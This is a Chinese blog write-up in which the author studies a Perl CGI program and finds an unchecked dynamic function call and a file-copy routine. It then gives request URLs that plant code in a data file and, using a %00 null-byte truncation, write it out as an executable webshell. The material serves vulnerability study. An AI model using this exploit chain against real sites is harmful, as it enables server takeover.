来源:phpeval's BLOG 作者:phpeval
昨天一个朋友扔我了一个cgi程序。叫我想办法拿一个SHELL。 CGI的程序我可是从来没看过。遇到这种对于我来说全新的东西。真的是有点没办法。不过扔来了。就当学习。我硬着头皮看。下面把我学习CGI程序的代码。以及漏洞发现的过程。进行记录一下: 打开该CGI程序。发现根目录下只有两个文件。admin.cgi和另外一个CGI。 CGI的第一行:
- #!/usr/bin/perl
猜想该代码应该是用perl解析的。不过可怜的是,我用PHP,asp,js,vbs等脚本。就是没用过perl。继续硬着头皮上。装上perl。改解析类型。因为perl装上后。解析了pl等后缀。硬是没有解析我的cgi。根据pl解析的方式。加上了cgi的解析。发现解析竟然成功了。而且代码也正常运行。第一步很顺利。:)
开始学习并分析代码了,我打开admin.cgi:
- use lib './pl';
-
- use lib './config';
-
- require'config.pl';
- &GetFormData(',');
- …………
- $Work=$FORM{Work};
- $Work='Certify' unless(defined $Work);
- &$Work;
-
- ………………
看来perl的语法和php和asp等现在流行的语法都不一样。
第一行和后面的use lib './pl';use lib './config'; 我理解成指定了包含库在什么位置。以便在第三句到第五句的时候require。果然这些pl文件是在这两个文件甲里面的。我测试把pl文件换一个位置。use lib './xxx';这样来执行代码。果然能正常运行。代表我的猜测是正确的。
&GetFormData(','); 这句我着实理解了很久。最后得出结论。一个字符串前面加上了&符号。就是呼叫函数或者过程的意思。就像vbs的call的意思。php呼叫函数。当然就不需要CALL什么的了。GetFormData这个函数是他们自己写的。作用是把传进去的参数赋值给$FORM。这样如果我们在浏览器上提交 Work=phpeval.cn 那么$FORM{Work}的值就是phpeval.cn了。
unless(defined $Work); 这句我的理解是if not的意思。就是如果否定的意思。。如果没有设置$Work那么$Work就等于Certify。
再下一句就是&$Work; 呼叫$Work 。这样的话。$Work可以自定义。 但是2的就是$Work好象不能带参数。不知道我说的对不对。所以我有很多函数。比如FileWrite函数我都直接利用不了。在他下面定义了一大批的sub。看来就是让他们来调用的。我当然不能跟他们的思路走。我找找找。。
config.pl:
- sub RegistAct {
- FileRead("$DataDir/count.dat",*CountLines);
- map{ Error(1006) if((split/<>/)[0] eq $FORM{DataTitle}) } @CountLines;
- $RegistLine = "$FORM{DataTitle}<>$FORM{PageTitle}<>$FORM{RelatedUrl}<>$FORM{JumpUrl}<>0<>0<>0<>new<>new<>new<><>\n";
- FileWrite("$DataDir/count.dat",*RegistLine,1,1);
- &Unlock('DATA');
- Regist();
- }
相信这句已经不难懂了。。FileWrite("$DataDir/count.dat",*RegistLine,1,1); 向"$DataDir/count.dat"写入数据$FORM{DataTitle}是自己定义的。我加上我的构造的cgi的代码。就写到count.dat里面了。我提交语句 http://www.phpeval.cn/admin.cgi?Work=RegistAct&DataTitle=mycode 这样mycode 就被写入了count.dat文件。dat当然是不能被执行的。 不过幸好还有下面的函数。他的作用如果没有想错的话。应该是用来还原数据用的。不过没有验证。让我有机会了。
- sub RecoveryAct {
- RefererCheck() if($MyUrl);
- MethodCheck () if($MethodChkMode);
- &Lock('DATA');
- FileRead("$FORM{TargetFile}",*BackupLines);
- FileWrite("$FORM{DataDir}/count.dat",*BackupLines);
- &Unlock('DATA');
- Recovery();
- }
我提交如下的连接: http://www.phpeval.cn/admin.cgi?Work=RecoveryAct&TargetFile=DataDir/count.dat&DataDir=1.cgi%00 万幸的是%00终究还是截断了。呵呵。这样我的SHELL就出来了。
笔记:其实这个构造的过程是虚假的。因为cgi我刚刚接触。用来写马是需要很长时间的。但是幸运的是他们的服务器上还支持php.我直接备份出来的是php的文件。所以构造这个东西我还是用的mycode来代替本来该写的cgi马。其实要写一个cgi马也不会困难到哪去。因为这个代码里面把目录遍历,读文件。写文件的函数都构造好了。想改一个WEBSHELL也是不太难的。
本来是想写一个文章来介绍一下未知脚本漏洞的挖掘。但是没没有介绍到什么。本来写着写着想就写写cgi漏洞的挖掘。但是介绍得又太简单。最后干脆说公布一下这种程序的漏洞。但是这个程序少之又少。甚至我连CGI的马马都没做出来。人懒了。
|